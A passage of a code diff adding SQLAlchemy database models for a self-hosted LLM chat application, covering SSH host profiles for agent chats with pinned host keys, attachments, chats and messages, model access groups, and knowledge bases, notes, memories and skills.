host somebody points this at -- which means the security of an agent chat is the
|
||||
security of that host, and nothing here can tell a throwaway container from a
|
||||
production server. The admin copy says so out loud.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
from datetime import datetime
|
||||
from typing import TYPE_CHECKING, Any
|
||||
|
||||
from sqlalchemy import Boolean, DateTime, ForeignKey, Integer, String, Text, UniqueConstraint
|
||||
from sqlalchemy.orm import Mapped, mapped_column, relationship
|
||||
|
||||
from lembas.db.base import Base, Timestamps, UUIDPrimaryKey
|
||||
from lembas.db.types import JSONDict
|
||||
|
||||
if TYPE_CHECKING: # pragma: no cover - annotation only
|
||||
from lembas.db.models.user import User
|
||||
|
||||
# How the connection authenticates.
|
||||
AUTH_KEY = "key"
|
||||
AUTH_PASSWORD = "password"
|
||||
AUTH_METHODS = (AUTH_KEY, AUTH_PASSWORD)
|
||||
|
||||
|
||||
class SshProfile(UUIDPrimaryKey, Timestamps, Base):
|
||||
"""One host somebody can point an agent chat at."""
|
||||
|
||||
__tablename__ = "ssh_profiles"
|
||||
__table_args__ = (UniqueConstraint("owner_id", "name", name="uq_ssh_profile_name"),)
|
||||
|
||||
owner_id: Mapped[str] = mapped_column(
|
||||
String(32), ForeignKey("users.id", ondelete="CASCADE"), nullable=False, index=True
|
||||
)
|
||||
name: Mapped[str] = mapped_column(String(120), nullable=False)
|
||||
|
||||
host: Mapped[str] = mapped_column(String(255), nullable=False)
|
||||
port: Mapped[int] = mapped_column(Integer, default=22, nullable=False)
|
||||
username: Mapped[str] = mapped_column(String(120), nullable=False)
|
||||
|
||||
auth: Mapped[str] = mapped_column(String(16), default=AUTH_KEY, nullable=False)
|
||||
password_encrypted: Mapped[str] = mapped_column(Text, default="")
|
||||
private_key_encrypted: Mapped[str] = mapped_column(Text, default="")
|
||||
key_passphrase_encrypted: Mapped[str] = mapped_column(Text, default="")
|
||||
|
||||
# One OpenSSH known_hosts line, captured the first time this host answered
|
||||
# and shown as a fingerprint to be confirmed, then pinned. Empty means
|
||||
# "never seen". Handed to asyncssh as `known_hosts=<these bytes>` and never
|
||||
# as None, which turns host key checking off altogether.
|
||||
host_key: Mapped[str] = mapped_column(Text, default="")
|
||||
# The SHA256 fingerprint of the above, so the profile page can show what was
|
||||
# accepted without parsing the line again on every render.
|
||||
host_fingerprint: Mapped[str] = mapped_column(String(120), default="")
|
||||
|
||||
# Where a chat starts by default. A chat records its own, chosen when it is
|
||||
# created and fixed thereafter; this is only the suggestion in the picker.
|
||||
default_dir: Mapped[str] = mapped_column(String(500), default="")
|
||||
|
||||
connect_timeout: Mapped[int] = mapped_column(Integer, default=15, nullable=False)
|
||||
enabled: Mapped[bool] = mapped_column(Boolean, default=True, nullable=False)
|
||||
|
||||
# What the last connection attempt found, for the list. `server_banner` is
|
||||
# whatever the host said about itself -- useful for telling two containers
|
||||
# apart.
|
||||
last_checked_at: Mapped[datetime | None] = mapped_column(DateTime(timezone=True))
|
||||
last_error: Mapped[str] = mapped_column(Text, default="")
|
||||
server_info: Mapped[dict[str, Any]] = mapped_column(JSONDict, default=dict)
|
||||
|
||||
owner: Mapped[User] = relationship()
|
||||
|
||||
@property
|
||||
def label(self) -> str:
|
||||
return self.name or f"{self.username}@{self.host}"
|
||||
|
||||
@property
|
||||
def address(self) -> str:
|
||||
return f"{self.username}@{self.host}" + (f":{self.port}" if self.port != 22 else "")
|
||||
|
||||
@property
|
||||
def verified(self) -> bool:
|
||||
"""Whether this host's key has been seen and pinned."""
|
||||
return bool(self.host_key)
|
||||
|
||||
def __repr__(self) -> str:
|
||||
return f"<SshProfile {self.name} {self.address}>"
|
||||
|
||||
|
||||
__all__ = ["AUTH_KEY", "AUTH_METHODS", "AUTH_PASSWORD", "SshProfile"]
|
||||
@@ -0,0 +1,87 @@
|
||||
"""Files attached to chat messages."""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
from sqlalchemy import Boolean, ForeignKey, Integer, String, Text
|
||||
from sqlalchemy.orm import Mapped, mapped_column, relationship
|
||||
|
||||
from lembas.db.base import Base, Timestamps, UUIDPrimaryKey
|
||||
|
||||
# What the file is for, decided at upload time. Drives both how it is rendered
|
||||
# and how it reaches the model: images become multimodal parts, everything else
|
||||
# becomes text in the prompt.
|
||||
KIND_IMAGE = "image"
|
||||
KIND_DOCUMENT = "document" # PDF: text is extracted
|
||||
KIND_TEXT = "text" # plain text, markdown, csv, source code
|
||||
|
||||
|
||||
class Attachment(UUIDPrimaryKey, Timestamps, Base):
|
||||
__tablename__ = "attachments"
|
||||
|
||||
user_id: Mapped[str] = mapped_column(
|
||||
String(32), ForeignKey("users.id", ondelete="CASCADE"), nullable=False, index=True
|
||||
)
|
||||
chat_id: Mapped[str | None] = mapped_column(
|
||||
String(32), ForeignKey("chats.id", ondelete="CASCADE"), index=True
|
||||
)
|
||||
# Null while the file is uploaded but the message has not been sent yet.
|
||||
# Those orphans are swept periodically -- see services.files.sweep_orphans.
|
||||
message_id: Mapped[str | None] = mapped_column(
|
||||
String(32), ForeignKey("messages.id", ondelete="CASCADE"), index=True
|
||||
)
|
||||
|
||||
# What the uploader called it. Display only, never used as a path.
|
||||
filename: Mapped[str] = mapped_column(String(300), nullable=False)
|
||||
# Random name on disk. See services.files for why the two are separate.
|
||||
stored_name: Mapped[str] = mapped_column(String(120), nullable=False)
|
||||
|
||||
media_type: Mapped[str] = mapped_column(String(100), default="")
|
||||
size_bytes: Mapped[int] = mapped_column(Integer, default=0, nullable=False)
|
||||
kind: Mapped[str] = mapped_column(String(16), default=KIND_DOCUMENT, nullable=False)
|
||||
|
||||
# Images only, after downscaling.
|
||||
width: Mapped[int] = mapped_column(Integer, default=0, nullable=False)
|
||||
height: Mapped[int] = mapped_column(Integer, default=0, nullable=False)
|
||||
|
||||
# Documents and text: the content that actually reaches the model. Held in
|
||||
# the database rather than re-extracted per request -- extraction is slow,
|
||||
# and a reply must not silently change because a PDF parser was upgraded.
|
||||
extracted_text: Mapped[str] = mapped_column(Text, default="")
|
||||
pages: Mapped[int] = mapped_column(Integer, default=0, nullable=False)
|
||||
truncated: Mapped[bool] = mapped_column(Boolean, default=False, nullable=False)
|
||||
|
||||
# Non-empty when the file was stored but its text could not be read, e.g. a
|
||||
# scanned PDF with no text layer. Shown next to the attachment so the user
|
||||
# is not left wondering why the model ignored it.
|
||||
extraction_error: Mapped[str] = mapped_column(Text, default="")
|
||||
|
||||
# Where this came from, when it came from somewhere with an address.
|
||||
#
|
||||
# `filename` is a display name and is frequently just the basename, which
|
||||
# is not enough: a model told it has been given `main.py` cannot tell which
|
||||
# of four it is looking at, and cannot name the file back to you if you ask
|
||||
# it to change something. So a project file carries its absolute path and
|
||||
# the machine it was read from, and both go into the tag the model sees.
|
||||
#
|
||||
# Nullable, and empty for an ordinary upload -- a file dragged in from a
|
||||
# laptop has no address this instance could meaningfully report.
|
||||
source_path: Mapped[str] = mapped_column(String(1000), default="")
|
||||
source_label: Mapped[str] = mapped_column(String(200), default="")
|
||||
|
||||
message: Mapped[Message] = relationship(back_populates="attachments") # noqa: F821
|
||||
|
||||
@property
|
||||
def is_image(self) -> bool:
|
||||
return self.kind == KIND_IMAGE
|
||||
|
||||
@property
|
||||
def human_size(self) -> str:
|
||||
size = float(self.size_bytes)
|
||||
for unit in ("B", "KB", "MB"):
|
||||
if size < 1024 or unit == "MB":
|
||||
return f"{size:.0f} {unit}" if unit == "B" else f"{size:.1f} {unit}"
|
||||
size /= 1024
|
||||
return f"{size:.1f} MB"
|
||||
|
||||
def __repr__(self) -> str:
|
||||
return f"<Attachment {self.filename} {self.kind}>"
|
||||
@@ -2,19 +2,37 @@
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
from typing import Any
|
||||
from datetime import datetime
|
||||
from typing import TYPE_CHECKING, Any
|
||||
|
||||
from sqlalchemy import Boolean, ForeignKey, Integer, String, Text
|
||||
from sqlalchemy import Boolean, DateTime, ForeignKey, Integer, String, Text
|
||||
from sqlalchemy.orm import Mapped, mapped_column, relationship
|
||||
|
||||
from lembas.db.base import Base, Timestamps, UUIDPrimaryKey
|
||||
from lembas.db.types import JSONDict, JSONList
|
||||
|
||||
if TYPE_CHECKING:
|
||||
# Annotation only; SQLAlchemy resolves the name through its own registry at
|
||||
# runtime, so there is no import cycle. A bare `Mapped[list]` would be read
|
||||
# as a scalar and hand back None instead of [].
|
||||
from lembas.db.models.library import KnowledgeBase
|
||||
|
||||
ROLE_SYSTEM = "system"
|
||||
ROLE_USER = "user"
|
||||
ROLE_ASSISTANT = "assistant"
|
||||
ROLE_TOOL = "tool"
|
||||
|
||||
# What a conversation is allowed to be. A plain chat can never act; an agent
|
||||
# chat is pointed at a machine before it starts and stays pointed there.
|
||||
KIND_CHAT = "chat"
|
||||
KIND_AGENT = "agent"
|
||||
KINDS = (KIND_CHAT, KIND_AGENT)
|
||||
|
||||
# Duplicated from services/agent/policy.py rather than imported: a model module
|
||||
# importing a service would invert the dependency, and this is only the column
|
||||
# default. policy.MODES is the vocabulary; this is what a row starts as.
|
||||
MODE_MANUAL = "manual"
|
||||
|
||||
|
||||
class Folder(UUIDPrimaryKey, Timestamps, Base):
|
||||
"""A user-owned, arbitrarily nested container for chats."""
|
||||
@@ -39,6 +57,24 @@ class Folder(UUIDPrimaryKey, Timestamps, Base):
|
||||
parent: Mapped[Folder | None] = relationship(back_populates="children", remote_side="Folder.id")
|
||||
chats: Mapped[list[Chat]] = relationship(back_populates="folder")
|
||||
|
||||
@property
|
||||
def visible_chats(self) -> list[Chat]:
|
||||
"""The chats in this folder that belong in the sidebar.
|
||||
|
||||
The relationship itself stays unfiltered -- back-population needs every
|
||||
row -- so the listing rule lives here rather than in the template, where
|
||||
the loop and the "Empty" check would have to agree by hand and already
|
||||
did not: archived chats have been showing inside folders since folders
|
||||
existed. The unfiled list has always filtered them (api/pages.py); the
|
||||
folder branch went through the relationship and filtered nothing.
|
||||
|
||||
Ordered like the unfiled list: pinned first, then most recently touched.
|
||||
"""
|
||||
kept = [chat for chat in self.chats if not chat.archived and not chat.temporary]
|
||||
kept.sort(key=lambda chat: chat.updated_at, reverse=True)
|
||||
kept.sort(key=lambda chat: not chat.pinned)
|
||||
return kept
|
||||
|
||||
def __repr__(self) -> str:
|
||||
return f"<Folder {self.name}>"
|
||||
|
||||
@@ -71,12 +107,81 @@ class Chat(UUIDPrimaryKey, Timestamps, Base):
|
||||
pinned: Mapped[bool] = mapped_column(Boolean, default=False, nullable=False)
|
||||
archived: Mapped[bool] = mapped_column(Boolean, default=False, nullable=False)
|
||||
|
||||
# Never listed in the sidebar, and swept a day after the last thing said in
|
||||
# it. A real row rather than something held in the browser, so a reload or a
|
||||
# dropped connection does not lose the conversation -- and `Keep` clears the
|
||||
# flag, because a temporary chat that turns out to matter must have a way
|
||||
# out. See services/chat.py:sweep_temporary.
|
||||
temporary: Mapped[bool] = mapped_column(Boolean, default=False, nullable=False)
|
||||
|
||||
# A reply landed while nobody was watching this chat. Cleared when the chat
|
||||
# is next opened. `unread_notified` stops the same arrival being announced
|
||||
# on every poll.
|
||||
unread: Mapped[bool] = mapped_column(Boolean, default=False, nullable=False)
|
||||
unread_notified: Mapped[bool] = mapped_column(Boolean, default=False, nullable=False)
|
||||
|
||||
# --- Agent chats ---------------------------------------------------------
|
||||
# Whether this conversation may act, and where. Chosen on the new-chat
|
||||
# screen and fixed once there is a message: the harness, the tools offered
|
||||
# and the approval loop all differ, so a chat that changed kind halfway
|
||||
# would have a transcript whose earlier turns were produced under other
|
||||
# rules. The connection is locked with it -- a shell history and a project
|
||||
# directory do not transplant to another machine.
|
||||
kind: Mapped[str] = mapped_column(String(16), default=KIND_CHAT, nullable=False)
|
||||
# A plain id rather than a ForeignKey, for the reason `compacted_through_id`
|
||||
# below gives: migrations.py compiles only the column type, so a REFERENCES
|
||||
# clause would exist on a fresh database and not on an upgraded one.
|
||||
# Validated on read instead.
|
||||
ssh_profile_id: Mapped[str | None] = mapped_column(String(32))
|
||||
# Where commands start on the far side, and what file paths resolve against.
|
||||
project_dir: Mapped[str] = mapped_column(String(500), default="")
|
||||
# Which of the four permission modes is in force. The one agent field that
|
||||
# IS switchable mid-chat: it decides what gets asked about, not what the
|
||||
# conversation is.
|
||||
agent_mode: Mapped[str] = mapped_column(String(16), default=MODE_MANUAL, nullable=False)
|
||||
# Set when a turn was edited or regenerated in an agent chat. The project
|
||||
# directory is deliberately NOT rewound with the transcript -- it is
|
||||
# somebody's real working tree and deleting their work would be far worse
|
||||
# than an inconsistency -- so the harness says so instead.
|
||||
rewound_at: Mapped[datetime | None] = mapped_column(DateTime(timezone=True))
|
||||
# Which message carries the plan currently in force. A plain id and not a
|
||||
# ForeignKey, for the reason `compacted_through_id` below gives; validated
|
||||
# on read. It exists so the harness can put the plan in front of the model
|
||||
# with one `db.get` by primary key rather than a scan for "the newest
|
||||
# message with a plan" -- `context_variables` is synchronous and on the
|
||||
# request path. A plan a model cannot see is a plan it cannot keep current.
|
||||
plan_message_id: Mapped[str | None] = mapped_column(String(32))
|
||||
# What this chat has switched off, narrowing what it is already allowed.
|
||||
# {"families": {"web_search": false}, "skills": {"weekly-report": false}}.
|
||||
# **Absent means on**, for every key -- the same convention
|
||||
# `McpServer.tool_overrides_json` uses, and for the same reason: two
|
||||
# representations of "on" makes "why is this off?" unanswerable.
|
||||
scope_json: Mapped[dict[str, Any]] = mapped_column(JSONDict, default=dict)
|
||||
|
||||
# --- Compaction ----------------------------------------------------------
|
||||
# A summary of the turns up to `compacted_through_id`, sent in their place.
|
||||
# The messages themselves are kept and still shown; they simply stop being
|
||||
# part of the request. See services/compaction.py.
|
||||
compact_summary: Mapped[str] = mapped_column(Text, default="")
|
||||
# A plain id, deliberately not a ForeignKey: db/migrations.py compiles only
|
||||
# the column type, so a REFERENCES clause would exist on a freshly created
|
||||
# database and not on an upgraded one, and a constraint half the fleet has
|
||||
# is worse than none. It is validated on every read instead -- the same
|
||||
# reasoning `model_id` above carries.
|
||||
compacted_through_id: Mapped[str | None] = mapped_column(String(32))
|
||||
compacted_at: Mapped[datetime | None] = mapped_column(DateTime(timezone=True))
|
||||
|
||||
folder: Mapped[Folder | None] = relationship(back_populates="chats")
|
||||
messages: Mapped[list[Message]] = relationship(
|
||||
back_populates="chat",
|
||||
cascade="all, delete-orphan",
|
||||
order_by="Message.created_at",
|
||||
)
|
||||
# Which knowledge bases this chat draws on. None means "everything its owner
|
||||
# can see"; naming some scopes the knowledge tool to those.
|
||||
knowledge_bases: Mapped[list[KnowledgeBase]] = relationship(
|
||||
"KnowledgeBase", secondary="chat_knowledge_bases"
|
||||
)
|
||||
|
||||
def __repr__(self) -> str:
|
||||
return f"<Chat {self.title!r}>"
|
||||
@@ -101,17 +206,73 @@ class Message(UUIDPrimaryKey, Timestamps, Base):
|
||||
# Plain-text messages leave this empty and use `content`.
|
||||
content_parts_json: Mapped[list[Any]] = mapped_column(JSONList, default=list)
|
||||
|
||||
# A reasoning model's visible thinking, kept separate from the answer so it
|
||||
# can be collapsed, and so it is never fed back as context on the next turn
|
||||
# -- providers expect the answer alone, and replaying the thinking both
|
||||
# wastes the window and degrades the reply.
|
||||
reasoning: Mapped[str] = mapped_column(Text, default="")
|
||||
# Milliseconds spent producing the reasoning, for the "Thought for Xs" label.
|
||||
reasoning_ms: Mapped[int] = mapped_column(Integer, default=0, nullable=False)
|
||||
|
||||
model_id: Mapped[str] = mapped_column(String(300), default="")
|
||||
|
||||
# What the model did before answering: one entry per tool call, with its
|
||||
# arguments and results. Shown in the transcript so the sources behind an
|
||||
# answer stay visible, and deliberately NOT replayed as context on the next
|
||||
# turn -- see services/generation.py for why.
|
||||
tool_calls_json: Mapped[list[Any]] = mapped_column(JSONList, default=list)
|
||||
usage_json: Mapped[dict[str, Any]] = mapped_column(JSONDict, default=dict)
|
||||
|
||||
# A plan produced in Plan mode, or the state of one being carried out. See
|
||||
# services/plans.py for the shape. Marked on the row rather than parsed back
|
||||
# out of the prose, so the Execute button sends exactly what was proposed
|
||||
# and not an approximation of it. Read through the `plan` property below,
|
||||
# never directly: rows written before version 2 hold `{title, steps}`.
|
||||
plan_json: Mapped[dict[str, Any]] = mapped_column(JSONDict, default=dict)
|
||||
|
||||
# Non-empty when generation failed. Rendered as a styled error in the
|
||||
# thread so a failed turn is never an unexplained blank bubble.
|
||||
error: Mapped[str] = mapped_column(Text, default="")
|
||||
# False while a reply is still streaming; flipped when the stream ends.
|
||||
complete: Mapped[bool] = mapped_column(Boolean, default=True, nullable=False)
|
||||
# True when the reader pressed Stop. Distinct from `error`: the text that
|
||||
# did arrive is kept and is perfectly usable, it is just cut short.
|
||||
stopped: Mapped[bool] = mapped_column(Boolean, default=False, nullable=False)
|
||||
# Typed while a reply was still being written, and not yet handed to a
|
||||
# model. A row rather than something held in the browser: it survives a
|
||||
# restart, it is in the transcript the moment it is typed, and it can be
|
||||
# withdrawn before it is ever sent. `build_messages` skips it; delivery --
|
||||
# `generation._drain` at the end of a reply, or `_inject` between two rounds
|
||||
# of tool calls -- is the only thing that clears it.
|
||||
queued: Mapped[bool] = mapped_column(Boolean, default=False, nullable=False)
|
||||
|
||||
chat: Mapped[Chat] = relationship(back_populates="messages")
|
||||
attachments: Mapped[list[Attachment]] = relationship( # noqa: F821
|
||||
back_populates="message",
|
||||
cascade="all, delete-orphan",
|
||||
order_by="Attachment.created_at",
|
||||
)
|
||||
|
||||
@property
|
||||
def images(self) -> list:
|
||||
return [a for a in self.attachments if a.is_image]
|
||||
|
||||
@property
|
||||
def documents(self) -> list:
|
||||
return [a for a in self.attachments if not a.is_image]
|
||||
|
||||
@property
|
||||
def plan(self) -> dict:
|
||||
"""The plan, always in the current shape.
|
||||
|
||||
A property for the reason `images` and `documents` are: a message bubble
|
||||
is rendered from four different handlers, and every one of them would
|
||||
otherwise have to remember to normalise. Rows written before version 2
|
||||
hold `{title, steps}` and come back through here as one phase.
|
||||
"""
|
||||
from lembas.services import plans
|
||||
|
||||
return plans.normalise(self.plan_json)
|
||||
|
||||
def __repr__(self) -> str:
|
||||
return f"<Message {self.role} {self.content[:40]!r}>"
|
||||
|
||||
@@ -3,14 +3,38 @@
|
||||
from __future__ import annotations
|
||||
|
||||
from datetime import datetime
|
||||
from typing import Any
|
||||
from typing import TYPE_CHECKING, Any
|
||||
|
||||
from sqlalchemy import Boolean, DateTime, ForeignKey, Integer, String, Text, UniqueConstraint
|
||||
from sqlalchemy import (
|
||||
Boolean,
|
||||
Column,
|
||||
DateTime,
|
||||
ForeignKey,
|
||||
Integer,
|
||||
String,
|
||||
Table,
|
||||
Text,
|
||||
UniqueConstraint,
|
||||
)
|
||||
from sqlalchemy.orm import Mapped, mapped_column, relationship
|
||||
|
||||
from lembas.db.base import Base, Timestamps, UUIDPrimaryKey
|
||||
from lembas.db.types import JSONDict
|
||||
|
||||
if TYPE_CHECKING:
|
||||
# Import only for the annotation; at runtime SQLAlchemy resolves the
|
||||
# name through its own class registry, so there is no import cycle.
|
||||
from lembas.db.models.user import Group
|
||||
|
||||
# Which groups may use a given model. A model with no rows here is reachable
|
||||
# only by administrators unless it is marked public.
|
||||
model_groups = Table(
|
||||
"model_groups",
|
||||
Base.metadata,
|
||||
Column("model_id", String(32), ForeignKey("models.id", ondelete="CASCADE"), primary_key=True),
|
||||
Column("group_id", String(32), ForeignKey("groups.id", ondelete="CASCADE"), primary_key=True),
|
||||
)
|
||||
|
||||
|
||||
class Connection(UUIDPrimaryKey, Timestamps, Base):
|
||||
"""A configured upstream endpoint speaking the OpenAI HTTP API.
|
||||
@@ -64,19 +88,60 @@ class Model(UUIDPrimaryKey, Timestamps, Base):
|
||||
)
|
||||
model_id: Mapped[str] = mapped_column(String(300), nullable=False)
|
||||
display_name: Mapped[str] = mapped_column(String(300), default="")
|
||||
description: Mapped[str] = mapped_column(Text, default="")
|
||||
enabled: Mapped[bool] = mapped_column(Boolean, default=True, nullable=False)
|
||||
|
||||
# Sort order in every picker. Ties fall back to model_id so the order is
|
||||
# stable rather than whatever SQLite feels like today.
|
||||
position: Mapped[int] = mapped_column(Integer, default=0, nullable=False)
|
||||
# Pinned models are offered first, before the full list.
|
||||
pinned: Mapped[bool] = mapped_column(Boolean, default=False, nullable=False)
|
||||
|
||||
# Public models are usable by anyone; otherwise access comes from `groups`.
|
||||
public: Mapped[bool] = mapped_column(Boolean, default=True, nullable=False)
|
||||
|
||||
# Filename under <data>/uploads/models. Stored rather than a URL so the
|
||||
# image cannot become a request to a third party on every page render.
|
||||
image_path: Mapped[str] = mapped_column(String(300), default="")
|
||||
|
||||
# Applied to chats using this model when the chat has none of its own.
|
||||
# See services.chat.effective_system_prompt for the precedence.
|
||||
system_prompt: Mapped[str] = mapped_column(Text, default="")
|
||||
|
||||
# Endpoints do not reliably advertise capabilities, so these are admin
|
||||
# overrides consumed by later passes (vision uploads, tool calling).
|
||||
# overrides. Recognised keys: vision, tools, reasoning.
|
||||
capabilities_json: Mapped[dict[str, Any]] = mapped_column(JSONDict, default=dict)
|
||||
# Default sampling params applied to new chats using this model.
|
||||
params_json: Mapped[dict[str, Any]] = mapped_column(JSONDict, default=dict)
|
||||
|
||||
# How many tokens this model can hold. 0 means unknown, which is what an
|
||||
# endpoint that does not advertise it leaves behind -- and unknown has to
|
||||
# stay tellable from "small", because the context percentage and automatic
|
||||
# compaction both refuse to act on a number nobody supplied.
|
||||
#
|
||||
# A column rather than a key in capabilities_json: that dict is rebuilt
|
||||
# wholesale from the submitted checkboxes on every save (api/admin_models.py),
|
||||
# so a number living in it would be destroyed the next time an administrator
|
||||
# ticked anything.
|
||||
context_length: Mapped[int] = mapped_column(Integer, default=0, nullable=False)
|
||||
|
||||
connection: Mapped[Connection] = relationship(back_populates="models")
|
||||
groups: Mapped[list[Group]] = relationship(
|
||||
"Group", secondary=model_groups, back_populates="models"
|
||||
)
|
||||
|
||||
@property
|
||||
def label(self) -> str:
|
||||
return self.display_name or self.model_id
|
||||
|
||||
@property
|
||||
def supports_reasoning(self) -> bool:
|
||||
return bool((self.capabilities_json or {}).get("reasoning"))
|
||||
|
||||
@property
|
||||
def initial(self) -> str:
|
||||
"""First character of the label, for the fallback avatar."""
|
||||
return (self.label.strip() or "?")[0].upper()
|
||||
|
||||
def __repr__(self) -> str:
|
||||
return f"<Model {self.model_id}>"
|
||||
|
||||
@@ -0,0 +1,288 @@
|
||||
"""What the model can reach for: knowledge, notes, memory and skills.
|
||||
|
||||
Four stores rather than one, because they differ in the two ways that matter --
|
||||
who writes a record, and how a record reaches the model:
|
||||
|
||||
* **Document** is uploaded by a person and searched by the model. It is the
|
||||
only one holding a file, and it is deliberately shaped like ``Attachment``:
|
||||
both come out of ``services.files.prepare`` and carry the same processed
|
||||
content.
|
||||
* **Note** is written by the model and edited by a person. Long enough that it
|
||||
has to be searched rather than injected.
|
||||
* **Memory** is one short fact, and *is* injected -- every one of them, every
|
||||
turn, up to a budget. Anything that would not survive that treatment belongs
|
||||
in a note.
|
||||
* **Skill** is a named instruction document. Its description is injected so the
|
||||
model knows the skill exists; the body is fetched only when it decides to use
|
||||
it, which is what keeps a hundred skills affordable.
|
||||
|
||||
Everything except Memory can be shared -- see ``Share`` below and
|
||||
``services.sharing``. Memory cannot: a record about a person is not content to
|
||||
hand round, and "share my memories with the team" is a question nobody asked.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
from sqlalchemy import (
|
||||
Boolean,
|
||||
Column,
|
||||
ForeignKey,
|
||||
Index,
|
||||
Integer,
|
||||
String,
|
||||
Table,
|
||||
Text,
|
||||
UniqueConstraint,
|
||||
)
|
||||
from sqlalchemy.orm import Mapped, mapped_column, relationship
|
||||
|
||||
from lembas.db.base import Base, Timestamps, UUIDPrimaryKey
|
||||
|
||||
# Who wrote a record. Not decoration: a skill the model wrote itself is the one
|
||||
# worth looking at twice when its behaviour changes unexpectedly.
|
||||
AUTHOR_USER = "user"
|
||||
AUTHOR_MODEL = "model"
|
||||
|
||||
# Where a document came from.
|
||||
SOURCE_UPLOAD = "upload"
|
||||
SOURCE_LINK = "link"
|
||||
|
||||
# Resource kinds that can be shared. Values are stored, so they are part of the
|
||||
# schema rather than an implementation detail.
|
||||
RESOURCE_BASE = "base"
|
||||
RESOURCE_NOTE = "note"
|
||||
RESOURCE_SKILL = "skill"
|
||||
|
||||
PRINCIPAL_USER = "user"
|
||||
PRINCIPAL_GROUP = "group"
|
||||
|
||||
# Which knowledge bases a chat draws on. A chat with none searches everything
|
||||
# its owner can see; a chat with some is scoped to those, which is the point --
|
||||
# "answer from the contract folder" is a different question from "answer from
|
||||
# everything I have ever uploaded".
|
||||
chat_knowledge_bases = Table(
|
||||
"chat_knowledge_bases",
|
||||
Base.metadata,
|
||||
Column("chat_id", String(32), ForeignKey("chats.id", ondelete="CASCADE"), primary_key=True),
|
||||
Column(
|
||||
"base_id",
|
||||
String(32),
|
||||
ForeignKey("knowledge_bases.id", ondelete="CASCADE"),
|
||||
primary_key=True,
|
||||
),
|
||||
)
|
||||
|
||||
|
||||
class KnowledgeBase(UUIDPrimaryKey, Timestamps, Base):
|
||||
"""A named collection of documents.
|
||||
|
||||
Sharing lives here rather than on the individual document: "this folder is
|
||||
the team's" is the granularity people actually think in, and per-document
|
||||
grants would mean answering "who can see this?" by checking every file.
|
||||
A document is visible to whoever can see the base it is in.
|
||||
"""
|
||||
|
||||
__tablename__ = "knowledge_bases"
|
||||
__table_args__ = (UniqueConstraint("owner_id", "name"),)
|
||||
|
||||
owner_id: Mapped[str] = mapped_column(
|
||||
String(32), ForeignKey("users.id", ondelete="CASCADE"), nullable=False, index=True
|
||||
)
|
||||
name: Mapped[str] = mapped_column(String(200), nullable=False)
|
||||
description: Mapped[str] = mapped_column(Text, default="")
|
||||
|
||||
documents: Mapped[list[Document]] = relationship(
|
||||
back_populates="base", cascade="all, delete-orphan"
|
||||
)
|
||||
|
||||
def __repr__(self) -> str:
|
||||
return f"<KnowledgeBase {self.name!r}>"
|
||||
|
||||
|
||||
class Document(UUIDPrimaryKey, Timestamps, Base):
|
||||
"""One item in a knowledge library: a file, an image or a saved web page.
|
||||
|
||||
The content columns mirror ``Attachment`` exactly because both are produced
|
||||
by ``services.files.prepare`` -- images downscaled, PDF text extracted once,
|
||||
type decided by sniffing bytes. Keeping the shapes identical is what lets a
|
||||
document be attached to a message by copying rather than converting.
|
||||
"""
|
||||
|
||||
__tablename__ = "documents"
|
||||
|
||||
owner_id: Mapped[str] = mapped_column(
|
||||
String(32), ForeignKey("users.id", ondelete="CASCADE"), nullable=False, index=True
|
||||
)
|
||||
# Nullable only so the column could be added to an existing table. The
|
||||
# service always sets it, and a startup sweep files anything that predates
|
||||
# bases into its owner's default -- see documents.sweep_unfiled.
|
||||
base_id: Mapped[str | None] = mapped_column(
|
||||
String(32), ForeignKey("knowledge_bases.id", ondelete="CASCADE"), index=True
|
||||
)
|
||||
|
||||
title: Mapped[str] = mapped_column(String(300), nullable=False)
|
||||
description: Mapped[str] = mapped_column(Text, default="")
|
||||
|
||||
source: Mapped[str] = mapped_column(String(16), default=SOURCE_UPLOAD, nullable=False)
|
||||
# Set for a saved web page, so it can be re-fetched and cited.
|
||||
source_url: Mapped[str] = mapped_column(Text, default="")
|
||||
|
||||
# --- The same content columns as Attachment ---
|
||||
filename: Mapped[str] = mapped_column(String(300), default="")
|
||||
stored_name: Mapped[str] = mapped_column(String(120), default="")
|
||||
media_type: Mapped[str] = mapped_column(String(100), default="")
|
||||
size_bytes: Mapped[int] = mapped_column(Integer, default=0, nullable=False)
|
||||
kind: Mapped[str] = mapped_column(String(16), default="text", nullable=False)
|
||||
width: Mapped[int] = mapped_column(Integer, default=0, nullable=False)
|
||||
height: Mapped[int] = mapped_column(Integer, default=0, nullable=False)
|
||||
extracted_text: Mapped[str] = mapped_column(Text, default="")
|
||||
pages: Mapped[int] = mapped_column(Integer, default=0, nullable=False)
|
||||
truncated: Mapped[bool] = mapped_column(Boolean, default=False, nullable=False)
|
||||
extraction_error: Mapped[str] = mapped_column(Text, default="")
|
||||
|
||||
base: Mapped[KnowledgeBase] = relationship(back_populates="documents")
|
||||
|
||||
@property
|
||||
def is_image(self) -> bool:
|
||||
return self.kind == "image"
|
||||
|
||||
@property
|
||||
def human_size(self) -> str:
|
||||
size = float(self.size_bytes)
|
||||
for unit in ("B", "KB", "MB"):
|
||||
if size < 1024 or unit == "MB":
|
||||
return f"{size:.0f} {unit}" if unit == "B" else f"{size:.1f} {unit}"
|
||||
size /= 1024
|
||||
return f"{size:.1f} MB"
|
||||
|
||||
def __repr__(self) -> str:
|
||||
return f"<Document {self.title!r}>"
|
||||
|
||||
|
||||
class Note(UUIDPrimaryKey, Timestamps, Base):
|
||||
"""Something the model wrote down, or a person did.
|
||||
|
||||
Longer and more specific than a memory. Not injected: a handful of notes
|
||||
would fill a context window on their own, so the model searches for the one
|
||||
it needs.
|
||||
"""
|
||||
|
||||
__tablename__ = "notes"
|
||||
|
||||
owner_id: Mapped[str] = mapped_column(
|
||||
String(32), ForeignKey("users.id", ondelete="CASCADE"), nullable=False, index=True
|
||||
)
|
||||
title: Mapped[str] = mapped_column(String(300), nullable=False)
|
||||
body: Mapped[str] = mapped_column(Text, default="")
|
||||
author: Mapped[str] = mapped_column(String(16), default=AUTHOR_USER, nullable=False)
|
||||
|
||||
def __repr__(self) -> str:
|
||||
return f"<Note {self.title!r}>"
|
||||
|
||||
|
||||
class Memory(UUIDPrimaryKey, Timestamps, Base):
|
||||
"""One short fact, in front of the model on every turn.
|
||||
|
||||
Deliberately not shareable and deliberately small. The length cap is
|
||||
enforced in the service rather than by the column, so an over-long write
|
||||
